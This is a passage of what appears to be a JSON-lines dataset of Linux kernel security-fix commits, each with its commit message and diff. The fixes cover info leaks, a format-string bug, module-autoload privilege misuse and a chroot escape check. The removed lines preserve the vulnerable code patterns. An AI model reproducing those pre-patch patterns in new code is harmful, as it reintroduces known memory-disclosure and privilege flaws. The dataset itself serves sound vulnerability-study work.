TIF_BLOCKSTEP is only safe if\n+\t * task is current or it can't be running, otherwise we can race\n+\t * with __switch_to_xtra(). We rely on ptrace_freeze_traced() but\n+\t * PTRACE_KILL is not safe.\n \t */\n \tlocal_irq_disable();\n \tdebugctl = get_debugctlmsr();", "sections": [{"section": "@@ -165,10 +165,11 @@ void set_task_blockstep(struct task_struct *task, bool on)\n \t * Ensure irq/preemption can't change debugctl in between.\n \t * Note also that both TIF_BLOCKSTEP and debugctl should\n \t * be changed atomically wrt preemption.\n-\t * FIXME: this means that set/clear TIF_BLOCKSTEP is simply\n-\t * wrong if task != current, SIGKILL can wakeup the stopped\n-\t * tracee and set/clear can play with the running task, this\n-\t * can confuse the next __switch_to_xtra().\n+\t *\n+\t * NOTE: this means that set/clear TIF_BLOCKSTEP is only safe if\n+\t * task is current or it can't be running, otherwise we can race\n+\t * with __switch_to_xtra(). We rely on ptrace_freeze_traced() but\n+\t * PTRACE_KILL is not safe.\n \t */\n \tlocal_irq_disable();\n \tdebugctl = get_debugctlmsr();", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "drivers/net/xen-netback/netback.c", "commit_id": "7d5145d8eb2b9791533ffe4dc003b129b9696c48", "commit_message": "xen/netback: don't leak pages on failure in xen_netbk_tx_check_gop.\n\nSigned-off-by: Matthew Daley \nReviewed-by: Konrad Rzeszutek Wilk \nAcked-by: Ian Campbell \nAcked-by: Jan Beulich \nSigned-off-by: David S. Miller ", "patch": "@@ -147,7 +147,8 @@ void xen_netbk_remove_xenvif(struct xenvif *vif)\n \tatomic_dec(&netbk->netfront_count);\n }\n \n-static void xen_netbk_idx_release(struct xen_netbk *netbk, u16 pending_idx);\n+static void xen_netbk_idx_release(struct xen_netbk *netbk, u16 pending_idx,\n+\t\t\t\t u8 status);\n static void make_tx_response(struct xenvif *vif,\n \t\t\t struct xen_netif_tx_request *txp,\n \t\t\t s8 st);\n@@ -1007,30 +1008,20 @@ static int xen_netbk_tx_check_gop(struct xen_netbk *netbk,\n {\n \tstruct gnttab_copy *gop = *gopp;\n \tu16 pending_idx = *((u16 *)skb->data);\n-\tstruct pending_tx_info *pending_tx_info = netbk->pending_tx_info;\n-\tstruct xenvif *vif = pending_tx_info[pending_idx].vif;\n-\tstruct xen_netif_tx_request *txp;\n \tstruct skb_shared_info *shinfo = skb_shinfo(skb);\n \tint nr_frags = shinfo->nr_frags;\n \tint i, err, start;\n \n \t/* Check status of header. */\n \terr = gop->status;\n-\tif (unlikely(err)) {\n-\t\tpending_ring_idx_t index;\n-\t\tindex = pending_index(netbk->pending_prod++);\n-\t\ttxp = &pending_tx_info[pending_idx].req;\n-\t\tmake_tx_response(vif, txp, XEN_NETIF_RSP_ERROR);\n-\t\tnetbk->pending_ring[index] = pending_idx;\n-\t\txenvif_put(vif);\n-\t}\n+\tif (unlikely(err))\n+\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_ERROR);\n \n \t/* Skip first skb fragment if it is on same page as header fragment. */\n \tstart = (frag_get_pending_idx(&shinfo->frags[0]) == pending_idx);\n \n \tfor (i = start; i < nr_frags; i++) {\n \t\tint j, newerr;\n-\t\tpending_ring_idx_t index;\n \n \t\tpending_idx = frag_get_pending_idx(&shinfo->frags[i]);\n \n@@ -1039,27 +1030,23 @@ static int xen_netbk_tx_check_gop(struct xen_netbk *netbk,\n \t\tif (likely(!newerr)) {\n \t\t\t/* Had a previous error? Invalidate this fragment. */\n \t\t\tif (unlikely(err))\n-\t\t\t\txen_netbk_idx_release(netbk, pending_idx);\n+\t\t\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_OKAY);\n \t\t\tcontinue;\n \t\t}\n \n \t\t/* Error on this fragment: respond to client with an error. */\n-\t\ttxp = &netbk->pending_tx_info[pending_idx].req;\n-\t\tmake_tx_response(vif, txp, XEN_NETIF_RSP_ERROR);\n-\t\tindex = pending_index(netbk->pending_prod++);\n-\t\tnetbk->pending_ring[index] = pending_idx;\n-\t\txenvif_put(vif);\n+\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_ERROR);\n \n \t\t/* Not the first error? Preceding frags already invalidated. */\n \t\tif (err)\n \t\t\tcontinue;\n \n \t\t/* First error: invalidate header and preceding fragments. */\n \t\tpending_idx = *((u16 *)skb->data);\n-\t\txen_netbk_idx_release(netbk, pending_idx);\n+\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_OKAY);\n \t\tfor (j = start; j < i; j++) {\n \t\t\tpending_idx = frag_get_pending_idx(&shinfo->frags[j]);\n-\t\t\txen_netbk_idx_release(netbk, pending_idx);\n+\t\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_OKAY);\n \t\t}\n \n \t\t/* Remember the error: invalidate all subsequent fragments. */\n@@ -1093,7 +1080,7 @@ static void xen_netbk_fill_frags(struct xen_netbk *netbk, struct sk_buff *skb)\n \n \t\t/* Take an extra reference to offset xen_netbk_idx_release */\n \t\tget_page(netbk->mmap_pages[pending_idx]);\n-\t\txen_netbk_idx_release(netbk, pending_idx);\n+\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_OKAY);\n \t}\n }\n \n@@ -1476,7 +1463,7 @@ static void xen_netbk_tx_submit(struct xen_netbk *netbk)\n \t\t\ttxp->size -= data_len;\n \t\t} else {\n \t\t\t/* Schedule a response immediately. */\n-\t\t\txen_netbk_idx_release(netbk, pending_idx);\n+\t\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_OKAY);\n \t\t}\n \n \t\tif (txp->flags & XEN_NETTXF_csum_blank)\n@@ -1528,7 +1515,8 @@ static void xen_netbk_tx_action(struct xen_netbk *netbk)\n \txen_netbk_tx_submit(netbk);\n }\n \n-static void xen_netbk_idx_release(struct xen_netbk *netbk, u16 pending_idx)\n+static void xen_netbk_idx_release(struct xen_netbk *netbk, u16 pending_idx,\n+\t\t\t\t u8 status)\n {\n \tstruct xenvif *vif;\n \tstruct pending_tx_info *pending_tx_info;\n@@ -1542,7 +1530,7 @@ static void xen_netbk_idx_release(struct xen_netbk *netbk, u16 pending_idx)\n \n \tvif = pending_tx_info->vif;\n \n-\tmake_tx_response(vif, &pending_tx_info->req, XEN_NETIF_RSP_OKAY);\n+\tmake_tx_response(vif, &pending_tx_info->req, status);\n \n \tindex = pending_index(netbk->pending_prod++);\n \tnetbk->pending_ring[index] = pending_idx;", "sections": [{"section": "@@ -147,7 +147,8 @@ void xen_netbk_remove_xenvif(struct xenvif *vif)\n \tatomic_dec(&netbk->netfront_count);\n }\n \n-static void xen_netbk_idx_release(struct xen_netbk *netbk, u16 pending_idx);\n+static void xen_netbk_idx_release(struct xen_netbk *netbk, u16 pending_idx,\n+\t\t\t\t u8 status);\n static void make_tx_response(struct xenvif *vif,\n \t\t\t struct xen_netif_tx_request *txp,\n \t\t\t s8 st);\n", "related": false}, {"section": "@@ -1007,30 +1008,20 @@ static int xen_netbk_tx_check_gop(struct xen_netbk *netbk,\n {\n \tstruct gnttab_copy *gop = *gopp;\n \tu16 pending_idx = *((u16 *)skb->data);\n-\tstruct pending_tx_info *pending_tx_info = netbk->pending_tx_info;\n-\tstruct xenvif *vif = pending_tx_info[pending_idx].vif;\n-\tstruct xen_netif_tx_request *txp;\n \tstruct skb_shared_info *shinfo = skb_shinfo(skb);\n \tint nr_frags = shinfo->nr_frags;\n \tint i, err, start;\n \n \t/* Check status of header. */\n \terr = gop->status;\n-\tif (unlikely(err)) {\n-\t\tpending_ring_idx_t index;\n-\t\tindex = pending_index(netbk->pending_prod++);\n-\t\ttxp = &pending_tx_info[pending_idx].req;\n-\t\tmake_tx_response(vif, txp, XEN_NETIF_RSP_ERROR);\n-\t\tnetbk->pending_ring[index] = pending_idx;\n-\t\txenvif_put(vif);\n-\t}\n+\tif (unlikely(err))\n+\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_ERROR);\n \n \t/* Skip first skb fragment if it is on same page as header fragment. */\n \tstart = (frag_get_pending_idx(&shinfo->frags[0]) == pending_idx);\n \n \tfor (i = start; i < nr_frags; i++) {\n \t\tint j, newerr;\n-\t\tpending_ring_idx_t index;\n \n \t\tpending_idx = frag_get_pending_idx(&shinfo->frags[i]);\n \n", "related": false}, {"section": "@@ -1039,27 +1030,23 @@ static int xen_netbk_tx_check_gop(struct xen_netbk *netbk,\n \t\tif (likely(!newerr)) {\n \t\t\t/* Had a previous error? Invalidate this fragment. */\n \t\t\tif (unlikely(err))\n-\t\t\t\txen_netbk_idx_release(netbk, pending_idx);\n+\t\t\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_OKAY);\n \t\t\tcontinue;\n \t\t}\n \n \t\t/* Error on this fragment: respond to client with an error. */\n-\t\ttxp = &netbk->pending_tx_info[pending_idx].req;\n-\t\tmake_tx_response(vif, txp, XEN_NETIF_RSP_ERROR);\n-\t\tindex = pending_index(netbk->pending_prod++);\n-\t\tnetbk->pending_ring[index] = pending_idx;\n-\t\txenvif_put(vif);\n+\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_ERROR);\n \n \t\t/* Not the first error? Preceding frags already invalidated. */\n \t\tif (err)\n \t\t\tcontinue;\n \n \t\t/* First error: invalidate header and preceding fragments. */\n \t\tpending_idx = *((u16 *)skb->data);\n-\t\txen_netbk_idx_release(netbk, pending_idx);\n+\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_OKAY);\n \t\tfor (j = start; j < i; j++) {\n \t\t\tpending_idx = frag_get_pending_idx(&shinfo->frags[j]);\n-\t\t\txen_netbk_idx_release(netbk, pending_idx);\n+\t\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_OKAY);\n \t\t}\n \n \t\t/* Remember the error: invalidate all subsequent fragments. */\n", "related": false}, {"section": "@@ -1093,7 +1080,7 @@ static void xen_netbk_fill_frags(struct xen_netbk *netbk, struct sk_buff *skb)\n \n \t\t/* Take an extra reference to offset xen_netbk_idx_release */\n \t\tget_page(netbk->mmap_pages[pending_idx]);\n-\t\txen_netbk_idx_release(netbk, pending_idx);\n+\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_OKAY);\n \t}\n }\n \n", "related": false}, {"section": "@@ -1476,7 +1463,7 @@ static void xen_netbk_tx_submit(struct xen_netbk *netbk)\n \t\t\ttxp->size -= data_len;\n \t\t} else {\n \t\t\t/* Schedule a response immediately. */\n-\t\t\txen_netbk_idx_release(netbk, pending_idx);\n+\t\t\txen_netbk_idx_release(netbk, pending_idx, XEN_NETIF_RSP_OKAY);\n \t\t}\n \n \t\tif (txp->flags & XEN_NETTXF_csum_blank)\n", "related": false}, {"section": "@@ -1528,7 +1515,8 @@ static void xen_netbk_tx_action(struct xen_netbk *netbk)\n \txen_netbk_tx_submit(netbk);\n }\n \n-static void xen_netbk_idx_release(struct xen_netbk *netbk, u16 pending_idx)\n+static void xen_netbk_idx_release(struct xen_netbk *netbk, u16 pending_idx,\n+\t\t\t\t u8 status)\n {\n \tstruct xenvif *vif;\n \tstruct pending_tx_info *pending_tx_info;\n", "related": false}, {"section": "@@ -1542,7 +1530,7 @@ static void xen_netbk_idx_release(struct xen_netbk *netbk, u16 pending_idx)\n \n \tvif = pending_tx_info->vif;\n \n-\tmake_tx_response(vif, &pending_tx_info->req, XEN_NETIF_RSP_OKAY);\n+\tmake_tx_response(vif, &pending_tx_info->req, status);\n \n \tindex = pending_index(netbk->pending_prod++);\n \tnetbk->pending_ring[index] = pending_idx;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/ext3/super.c", "commit_id": "8d0c2d10dd72c5292eda7a06231056a4c972e4cc", "commit_message": "ext3: Fix format string issues\n\next3_msg() takes the printk prefix as the second parameter and the\nformat string as the third parameter. Two callers of ext3_msg omit the\nprefix and pass the format string as the second parameter and the first\nparameter to the format string as the third parameter. In both cases\nthis string comes from an arbitrary source. Which means the string may\ncontain format string characters, which will\nlead to undefined and potentially harmful behavior.\n\nThe issue was introduced in commit 4cf46b67eb(\"ext3: Unify log messages\nin ext3\") and is fixed by this patch.\n\nCC: stable@vger.kernel.org\nSigned-off-by: Lars-Peter Clausen \nSigned-off-by: Jan Kara ", "patch": "@@ -353,7 +353,7 @@ static struct block_device *ext3_blkdev_get(dev_t dev, struct super_block *sb)\n \treturn bdev;\n \n fail:\n-\text3_msg(sb, \"error: failed to open journal device %s: %ld\",\n+\text3_msg(sb, KERN_ERR, \"error: failed to open journal device %s: %ld\",\n \t\t__bdevname(dev, b), PTR_ERR(bdev));\n \n \treturn NULL;\n@@ -887,7 +887,7 @@ static ext3_fsblk_t get_sb_block(void **data, struct super_block *sb)\n \t/*todo: use simple_strtoll with >32bit ext3 */\n \tsb_block = simple_strtoul(options, &options, 0);\n \tif (*options && *options != ',') {\n-\t\text3_msg(sb, \"error: invalid sb specification: %s\",\n+\t\text3_msg(sb, KERN_ERR, \"error: invalid sb specification: %s\",\n \t\t (char *) *data);\n \t\treturn 1;\n \t}", "sections": [{"section": "@@ -353,7 +353,7 @@ static struct block_device *ext3_blkdev_get(dev_t dev, struct super_block *sb)\n \treturn bdev;\n \n fail:\n-\text3_msg(sb, \"error: failed to open journal device %s: %ld\",\n+\text3_msg(sb, KERN_ERR, \"error: failed to open journal device %s: %ld\",\n \t\t__bdevname(dev, b), PTR_ERR(bdev));\n \n \treturn NULL;\n", "related": false}, {"section": "@@ -887,7 +887,7 @@ static ext3_fsblk_t get_sb_block(void **data, struct super_block *sb)\n \t/*todo: use simple_strtoll with >32bit ext3 */\n \tsb_block = simple_strtoul(options, &options, 0);\n \tif (*options && *options != ',') {\n-\t\text3_msg(sb, \"error: invalid sb specification: %s\",\n+\t\text3_msg(sb, KERN_ERR, \"error: invalid sb specification: %s\",\n \t\t (char *) *data);\n \t\treturn 1;\n \t}", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/bluetooth/hci_sock.c", "commit_id": "e15ca9a0ef9a86f0477530b0f44a725d67f889ee", "commit_message": "Bluetooth: HCI - Fix info leak in getsockopt(HCI_FILTER)\n\nThe HCI code fails to initialize the two padding bytes of struct\nhci_ufilter before copying it to userland -- that for leaking two\nbytes kernel stack. Add an explicit memset(0) before filling the\nstructure to avoid the info leak.\n\nSigned-off-by: Mathias Krause \nCc: Marcel Holtmann \nCc: Gustavo Padovan \nCc: Johan Hedberg \nSigned-off-by: David S. Miller ", "patch": "@@ -1009,6 +1009,7 @@ static int hci_sock_getsockopt(struct socket *sock, int level, int optname,\n \t\t{\n \t\t\tstruct hci_filter *f = &hci_pi(sk)->filter;\n \n+\t\t\tmemset(&uf, 0, sizeof(uf));\n \t\t\tuf.type_mask = f->type_mask;\n \t\t\tuf.opcode = f->opcode;\n \t\t\tuf.event_mask[0] = *((u32 *) f->event_mask + 0);", "sections": [{"section": "@@ -1009,6 +1009,7 @@ static int hci_sock_getsockopt(struct socket *sock, int level, int optname,\n \t\t{\n \t\t\tstruct hci_filter *f = &hci_pi(sk)->filter;\n \n+\t\t\tmemset(&uf, 0, sizeof(uf));\n \t\t\tuf.type_mask = f->type_mask;\n \t\t\tuf.opcode = f->opcode;\n \t\t\tuf.event_mask[0] = *((u32 *) f->event_mask + 0);", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/isofs/export.c", "commit_id": "fe685aabf7c8c9f138e5ea900954d295bf229175", "commit_message": "isofs: avoid info leak on export\n\nFor type 1 the parent_offset member in struct isofs_fid gets copied\nuninitialized to userland. Fix this by initializing it to 0.\n\nSigned-off-by: Mathias Krause \nSigned-off-by: Jan Kara ", "patch": "@@ -134,6 +134,7 @@ isofs_export_encode_fh(struct inode *inode,\n \tlen = 3;\n \tfh32[0] = ei->i_iget5_block;\n \tfh16[2] = (__u16)ei->i_iget5_offset; /* fh16 [sic] */\n+\tfh16[3] = 0; /* avoid leaking uninitialized data */\n \tfh32[2] = inode->i_generation;\n \tif (parent) {\n \t\tstruct iso_inode_info *eparent;", "sections": [{"section": "@@ -134,6 +134,7 @@ isofs_export_encode_fh(struct inode *inode,\n \tlen = 3;\n \tfh32[0] = ei->i_iget5_block;\n \tfh16[2] = (__u16)ei->i_iget5_offset; /* fh16 [sic] */\n+\tfh16[3] = 0; /* avoid leaking uninitialized data */\n \tfh32[2] = inode->i_generation;\n \tif (parent) {\n \t\tstruct iso_inode_info *eparent;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "crypto/aead.c", "commit_id": "9a5467bf7b6e9e02ec9c3da4e23747c05faeaac6", "commit_message": "crypto: user - fix info leaks in report API\n\nThree errors resulting in kernel memory disclosure:\n\n1/ The structures used for the netlink based crypto algorithm report API\nare located on the stack. As snprintf() does not fill the remainder of\nthe buffer with null bytes, those stack bytes will be disclosed to users\nof the API. Switch to strncpy() to fix this.\n\n2/ crypto_report_one() does not initialize all field of struct\ncrypto_user_alg. Fix this to fix the heap info leak.\n\n3/ For the module name we should copy only as many bytes as\nmodule_name() returns -- not as much as the destination buffer could\nhold. But the current code does not and therefore copies random data\nfrom behind the end of the module name, as the module name is always\nshorter than CRYPTO_MAX_ALG_NAME.\n\nAlso switch to use strncpy() to copy the algorithm's name and\ndriver_name. They are strings, after all.\n\nSigned-off-by: Mathias Krause \nCc: Steffen Klassert \nSigned-off-by: Herbert Xu ", "patch": "@@ -117,9 +117,8 @@ static int crypto_aead_report(struct sk_buff *skb, struct crypto_alg *alg)\n \tstruct crypto_report_aead raead;\n \tstruct aead_alg *aead = &alg->cra_aead;\n \n-\tsnprintf(raead.type, CRYPTO_MAX_ALG_NAME, \"%s\", \"aead\");\n-\tsnprintf(raead.geniv, CRYPTO_MAX_ALG_NAME, \"%s\",\n-\t\t aead->geniv ?: \"\");\n+\tstrncpy(raead.type, \"aead\", sizeof(raead.type));\n+\tstrncpy(raead.geniv, aead->geniv ?: \"\", sizeof(raead.geniv));\n \n \traead.blocksize = alg->cra_blocksize;\n \traead.maxauthsize = aead->maxauthsize;\n@@ -203,8 +202,8 @@ static int crypto_nivaead_report(struct sk_buff *skb, struct crypto_alg *alg)\n \tstruct crypto_report_aead raead;\n \tstruct aead_alg *aead = &alg->cra_aead;\n \n-\tsnprintf(raead.type, CRYPTO_MAX_ALG_NAME, \"%s\", \"nivaead\");\n-\tsnprintf(raead.geniv, CRYPTO_MAX_ALG_NAME, \"%s\", aead->geniv);\n+\tstrncpy(raead.type, \"nivaead\", sizeof(raead.type));\n+\tstrncpy(raead.geniv, aead->geniv, sizeof(raead.geniv));\n \n \traead.blocksize = alg->cra_blocksize;\n \traead.maxauthsize = aead->maxauthsize;", "sections": [{"section": "@@ -117,9 +117,8 @@ static int crypto_aead_report(struct sk_buff *skb, struct crypto_alg *alg)\n \tstruct crypto_report_aead raead;\n \tstruct aead_alg *aead = &alg->cra_aead;\n \n-\tsnprintf(raead.type, CRYPTO_MAX_ALG_NAME, \"%s\", \"aead\");\n-\tsnprintf(raead.geniv, CRYPTO_MAX_ALG_NAME, \"%s\",\n-\t\t aead->geniv ?: \"\");\n+\tstrncpy(raead.type, \"aead\", sizeof(raead.type));\n+\tstrncpy(raead.geniv, aead->geniv ?: \"\", sizeof(raead.geniv));\n \n \traead.blocksize = alg->cra_blocksize;\n \traead.maxauthsize = aead->maxauthsize;\n", "related": false}, {"section": "@@ -203,8 +202,8 @@ static int crypto_nivaead_report(struct sk_buff *skb, struct crypto_alg *alg)\n \tstruct crypto_report_aead raead;\n \tstruct aead_alg *aead = &alg->cra_aead;\n \n-\tsnprintf(raead.type, CRYPTO_MAX_ALG_NAME, \"%s\", \"nivaead\");\n-\tsnprintf(raead.geniv, CRYPTO_MAX_ALG_NAME, \"%s\", aead->geniv);\n+\tstrncpy(raead.type, \"nivaead\", sizeof(raead.type));\n+\tstrncpy(raead.geniv, aead->geniv, sizeof(raead.geniv));\n \n \traead.blocksize = alg->cra_blocksize;\n \traead.maxauthsize = aead->maxauthsize;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "crypto/blkcipher.c", "commit_id": "9a5467bf7b6e9e02ec9c3da4e23747c05faeaac6", "commit_message": "crypto: user - fix info leaks in report API\n\nThree errors resulting in kernel memory disclosure:\n\n1/ The structures used for the netlink based crypto algorithm report API\nare located on the stack. As snprintf() does not fill the remainder of\nthe buffer with null bytes, those stack bytes will be disclosed to users\nof the API. Switch to strncpy() to fix this.\n\n2/ crypto_report_one() does not initialize all field of struct\ncrypto_user_alg. Fix this to fix the heap info leak.\n\n3/ For the module name we should copy only as many bytes as\nmodule_name() returns -- not as much as the destination buffer could\nhold. But the current code does not and therefore copies random data\nfrom behind the end of the module name, as the module name is always\nshorter than CRYPTO_MAX_ALG_NAME.\n\nAlso switch to use strncpy() to copy the algorithm's name and\ndriver_name. They are strings, after all.\n\nSigned-off-by: Mathias Krause \nCc: Steffen Klassert \nSigned-off-by: Herbert Xu ", "patch": "@@ -499,9 +499,9 @@ static int crypto_blkcipher_report(struct sk_buff *skb, struct crypto_alg *alg)\n {\n \tstruct crypto_report_blkcipher rblkcipher;\n \n-\tsnprintf(rblkcipher.type, CRYPTO_MAX_ALG_NAME, \"%s\", \"blkcipher\");\n-\tsnprintf(rblkcipher.geniv, CRYPTO_MAX_ALG_NAME, \"%s\",\n-\t\t alg->cra_blkcipher.geniv ?: \"\");\n+\tstrncpy(rblkcipher.type, \"blkcipher\", sizeof(rblkcipher.type));\n+\tstrncpy(rblkcipher.geniv, alg->cra_blkcipher.geniv ?: \"\",\n+\t\tsizeof(rblkcipher.geniv));\n \n \trblkcipher.blocksize = alg->cra_blocksize;\n \trblkcipher.min_keysize = alg->cra_blkcipher.min_keysize;", "sections": [{"section": "@@ -499,9 +499,9 @@ static int crypto_blkcipher_report(struct sk_buff *skb, struct crypto_alg *alg)\n {\n \tstruct crypto_report_blkcipher rblkcipher;\n \n-\tsnprintf(rblkcipher.type, CRYPTO_MAX_ALG_NAME, \"%s\", \"blkcipher\");\n-\tsnprintf(rblkcipher.geniv, CRYPTO_MAX_ALG_NAME, \"%s\",\n-\t\t alg->cra_blkcipher.geniv ?: \"\");\n+\tstrncpy(rblkcipher.type, \"blkcipher\", sizeof(rblkcipher.type));\n+\tstrncpy(rblkcipher.geniv, alg->cra_blkcipher.geniv ?: \"\",\n+\t\tsizeof(rblkcipher.geniv));\n \n \trblkcipher.blocksize = alg->cra_blocksize;\n \trblkcipher.min_keysize = alg->cra_blkcipher.min_keysize;", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/core/dev.c", "commit_id": "8909c9ad8ff03611c9c96c9a92656213e4bb495b", "commit_message": "net: don't allow CAP_NET_ADMIN to load non-netdev kernel modules\n\nSince a8f80e8ff94ecba629542d9b4b5f5a8ee3eb565c any process with\nCAP_NET_ADMIN may load any module from /lib/modules/. This doesn't mean\nthat CAP_NET_ADMIN is a superset of CAP_SYS_MODULE as modules are\nlimited to /lib/modules/**. However, CAP_NET_ADMIN capability shouldn't\nallow anybody load any module not related to networking.\n\nThis patch restricts an ability of autoloading modules to netdev modules\nwith explicit aliases. This fixes CVE-2011-1019.\n\nArnd Bergmann suggested to leave untouched the old pre-v2.6.32 behavior\nof loading netdev modules by name (without any prefix) for processes\nwith CAP_SYS_MODULE to maintain the compatibility with network scripts\nthat use autoloading netdev modules by aliases like \"eth0\", \"wlan0\".\n\nCurrently there are only three users of the feature in the upstream\nkernel: ipip, ip_gre and sit.\n\n root@albatros:~# capsh --drop=$(seq -s, 0 11),$(seq -s, 13 34) --\n root@albatros:~# grep Cap /proc/$$/status\n CapInh:\t0000000000000000\n CapPrm:\tfffffff800001000\n CapEff:\tfffffff800001000\n CapBnd:\tfffffff800001000\n root@albatros:~# modprobe xfs\n FATAL: Error inserting xfs\n (/lib/modules/2.6.38-rc6-00001-g2bf4ca3/kernel/fs/xfs/xfs.ko): Operation not permitted\n root@albatros:~# lsmod | grep xfs\n root@albatros:~# ifconfig xfs\n xfs: error fetching interface information: Device not found\n root@albatros:~# lsmod | grep xfs\n root@albatros:~# lsmod | grep sit\n root@albatros:~# ifconfig sit\n sit: error fetching interface information: Device not found\n root@albatros:~# lsmod | grep sit\n root@albatros:~# ifconfig sit0\n sit0 Link encap:IPv6-in-IPv4\n\t NOARP MTU:1480 Metric:1\n\n root@albatros:~# lsmod | grep sit\n sit 10457 0\n tunnel4 2957 1 sit\n\nFor CAP_SYS_MODULE module loading is still relaxed:\n\n root@albatros:~# grep Cap /proc/$$/status\n CapInh:\t0000000000000000\n CapPrm:\tffffffffffffffff\n CapEff:\tffffffffffffffff\n CapBnd:\tffffffffffffffff\n root@albatros:~# ifconfig xfs\n xfs: error fetching interface information: Device not found\n root@albatros:~# lsmod | grep xfs\n xfs 745319 0\n\nReference: https://lkml.org/lkml/2011/2/24/203\n\nSigned-off-by: Vasiliy Kulikov \nSigned-off-by: Michael Tokarev \nAcked-by: David S. Miller \nAcked-by: Kees Cook \nSigned-off-by: James Morris ", "patch": "@@ -1114,13 +1114,21 @@ EXPORT_SYMBOL(netdev_bonding_change);\n void dev_load(struct net *net, const char *name)\n {\n \tstruct net_device *dev;\n+\tint no_module;\n \n \trcu_read_lock();\n \tdev = dev_get_by_name_rcu(net, name);\n \trcu_read_unlock();\n \n-\tif (!dev && capable(CAP_NET_ADMIN))\n-\t\trequest_module(\"%s\", name);\n+\tno_module = !dev;\n+\tif (no_module && capable(CAP_NET_ADMIN))\n+\t\tno_module = request_module(\"netdev-%s\", name);\n+\tif (no_module && capable(CAP_SYS_MODULE)) {\n+\t\tif (!request_module(\"%s\", name))\n+\t\t\tpr_err(\"Loading kernel module for a network device \"\n+\"with CAP_SYS_MODULE (deprecated). Use CAP_NET_ADMIN and alias netdev-%s \"\n+\"instead\\n\", name);\n+\t}\n }\n EXPORT_SYMBOL(dev_load);\n ", "sections": [{"section": "@@ -1114,13 +1114,21 @@ EXPORT_SYMBOL(netdev_bonding_change);\n void dev_load(struct net *net, const char *name)\n {\n \tstruct net_device *dev;\n+\tint no_module;\n \n \trcu_read_lock();\n \tdev = dev_get_by_name_rcu(net, name);\n \trcu_read_unlock();\n \n-\tif (!dev && capable(CAP_NET_ADMIN))\n-\t\trequest_module(\"%s\", name);\n+\tno_module = !dev;\n+\tif (no_module && capable(CAP_NET_ADMIN))\n+\t\tno_module = request_module(\"netdev-%s\", name);\n+\tif (no_module && capable(CAP_SYS_MODULE)) {\n+\t\tif (!request_module(\"%s\", name))\n+\t\t\tpr_err(\"Loading kernel module for a network device \"\n+\"with CAP_SYS_MODULE (deprecated). Use CAP_NET_ADMIN and alias netdev-%s \"\n+\"instead\\n\", name);\n+\t}\n }\n EXPORT_SYMBOL(dev_load);\n ", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/sunrpc/clnt.c", "commit_id": "0b760113a3a155269a3fba93a409c640031dd68f", "commit_message": "NLM: Don't hang forever on NLM unlock requests\n\nIf the NLM daemon is killed on the NFS server, we can currently end up\nhanging forever on an 'unlock' request, instead of aborting. Basically,\nif the rpcbind request fails, or the server keeps returning garbage, we\nreally want to quit instead of retrying.\n\nTested-by: Vasily Averin \nSigned-off-by: Trond Myklebust \nCc: stable@kernel.org", "patch": "@@ -1175,6 +1175,9 @@ call_bind_status(struct rpc_task *task)\n \t\t\tstatus = -EOPNOTSUPP;\n \t\t\tbreak;\n \t\t}\n+\t\tif (task->tk_rebind_retry == 0)\n+\t\t\tbreak;\n+\t\ttask->tk_rebind_retry--;\n \t\trpc_delay(task, 3*HZ);\n \t\tgoto retry_timeout;\n \tcase -ETIMEDOUT:", "sections": [{"section": "@@ -1175,6 +1175,9 @@ call_bind_status(struct rpc_task *task)\n \t\t\tstatus = -EOPNOTSUPP;\n \t\t\tbreak;\n \t\t}\n+\t\tif (task->tk_rebind_retry == 0)\n+\t\t\tbreak;\n+\t\ttask->tk_rebind_retry--;\n \t\trpc_delay(task, 3*HZ);\n \t\tgoto retry_timeout;\n \tcase -ETIMEDOUT:", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "fs/namespace.c", "commit_id": "3151527ee007b73a0ebd296010f1c0454a919c7d", "commit_message": "userns: Don't allow creation if the user is chrooted\n\nGuarantee that the policy of which files may be access that is\nestablished by setting the root directory will not be violated\nby user namespaces by verifying that the root directory points\nto the root of the mount namespace at the time of user namespace\ncreation.\n\nChanging the root is a privileged operation, and as a matter of policy\nit serves to limit unprivileged processes to files below the current\nroot directory.\n\nFor reasons of simplicity and comprehensibility the privilege to\nchange the root directory is gated solely on the CAP_SYS_CHROOT\ncapability in the user namespace. Therefore when creating a user\nnamespace we must ensure that the policy of which files may be access\ncan not be violated by changing the root directory.\n\nAnyone who runs a processes in a chroot and would like to use user\nnamespace can setup the same view of filesystems with a mount\nnamespace instead. With this result that this is not a practical\nlimitation for using user namespaces.\n\nCc: stable@vger.kernel.org\nAcked-by: Serge Hallyn \nReported-by: Andy Lutomirski \nSigned-off-by: \"Eric W. Biederman\" ", "patch": "@@ -2732,6 +2732,30 @@ bool our_mnt(struct vfsmount *mnt)\n \treturn check_mnt(real_mount(mnt));\n }\n \n+bool current_chrooted(void)\n+{\n+\t/* Does the current process have a non-standard root */\n+\tstruct path ns_root;\n+\tstruct path fs_root;\n+\tbool chrooted;\n+\n+\t/* Find the namespace root */\n+\tns_root.mnt = ¤t->nsproxy->mnt_ns->root->mnt;\n+\tns_root.dentry = ns_root.mnt->mnt_root;\n+\tpath_get(&ns_root);\n+\twhile (d_mountpoint(ns_root.dentry) && 